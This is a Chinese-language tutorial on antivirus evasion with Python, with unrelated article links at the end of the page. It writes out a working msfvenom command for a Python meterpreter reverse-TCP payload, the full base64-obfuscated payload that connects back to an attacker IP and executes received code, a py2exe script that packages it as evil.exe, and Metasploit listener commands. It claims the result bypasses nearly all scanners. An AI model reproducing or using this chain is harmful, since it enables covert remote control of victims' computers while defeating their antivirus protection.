使用Python进行防病毒免杀解析
很多渗透工具都提供了权限维持的能力，如Metasploit、Empire和Cobalt Strike，但是都会被防病毒软件检测到这种恶意行为。在探讨一个权限维持技巧的时候，似乎越来越多的人关注的是，这个方式会不会被被杀软杀掉？
打造免杀的payload成了一个很重要的话题，在这里，本文将介绍如何使用Pyhton轻松绕过防病毒软件。
0x01 环境准备
1、软件安装
Python 2.7.16 x86：https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
Py2exe 32位：https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
2、msfvenom生成Python Payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py
evil.py 代码如下：
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
0x02 py2exe 打包Python程序
将evil.py复制到windows，同时创建一个setup.py文件：
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['evil.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
下面的方法运行 evil.py，生成可执行文件。
python ./setup.py py2exe
0x03 设置监听端口
Kali 运行Metasploit，设置监听：
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.28.128 set LPORT 443 run
在Windows中运行evil.exe，获得一个meterpreter的会话
0x04 免杀验证
确认生成的exe文件可正常工作，接下来对evil.exe进行在线病毒扫描，以确认免杀效果如何。
这里我们使用VirSCAN.org-多引擎在线病毒扫描网 v1.02,当前支持 47 款杀毒引擎
扫描结果：47款杀毒引擎中，只有一个引擎报毒，主流的杀毒软件全部绕过。
网站地址: http://www.virscan.org
参考文章：
https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
总结
以上所述是小编给大家介绍的使用Python进行防病毒免杀，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持！
如果你觉得本文对你有帮助，欢迎转载，烦请注明出处，谢谢！
相关文章
今天小编就为大家分享一篇python/sympy求解矩阵方程的方法，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧2018-11-11
这篇文章主要介绍了Python中的常见数据集打乱方法，具有很好的参考价值，希望对大家有所帮助。如有错误或未考虑完全的地方，望不吝赐教2023-02-02
这篇文章主要为大家介绍了Python复合赋值运算符由浅入深实例探究,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪2024-01-01
这篇文章主要介绍了删除文件夹下所有文件和子文件夹的示例，大家参考使用吧2014-01-01
想学python，这5本书籍你必看！本文为大家推荐了学习python的5本书籍，5本经典书籍，感兴趣的小伙伴们可以参考一下2018-12-12
python网络编程学习笔记(八)：XML生成与解析（DOM、ElementTree）
DOM是Document Object Model的简称，XML 文档的高级树型表示。该模型并非只针对 Python，而是一种普通XML 模型。Python 的 DOM 包是基于 SAX 构建的，并且包括在 Python 2.0 的标准 XML 支持里2014-06-06
这篇文章主要介绍了python使用协程实现并发操作的方法,结合实例形式详细分析了Python协程的原理及使用Gevent实现协程操作的相关技巧与操作注意事项,需要的朋友可以参考下2019-12-12
Python中的元组和列表很相似，元组也是Python语言提供的内置数据结构之一，可以在代码中直接使用，这篇文章主要介绍了Python中元组的概念以及应用,需要的朋友可以参考下2023-01-01
使用MongoDB的oplog（操作日志）进行数据同步是高级的用法,主要用于复制和故障恢复,这篇文章主要介绍了pymongo通过oplog获取数据（mongodb）,需要的朋友可以参考下2023-09-09
这篇文章主要介绍了python进阶教程之循环对象,循环对象是这样一个对象，它包含有一个next()方法,这个方法的目的是进行到下一个结果,需要的朋友可以参考下2014-08-08
最新评论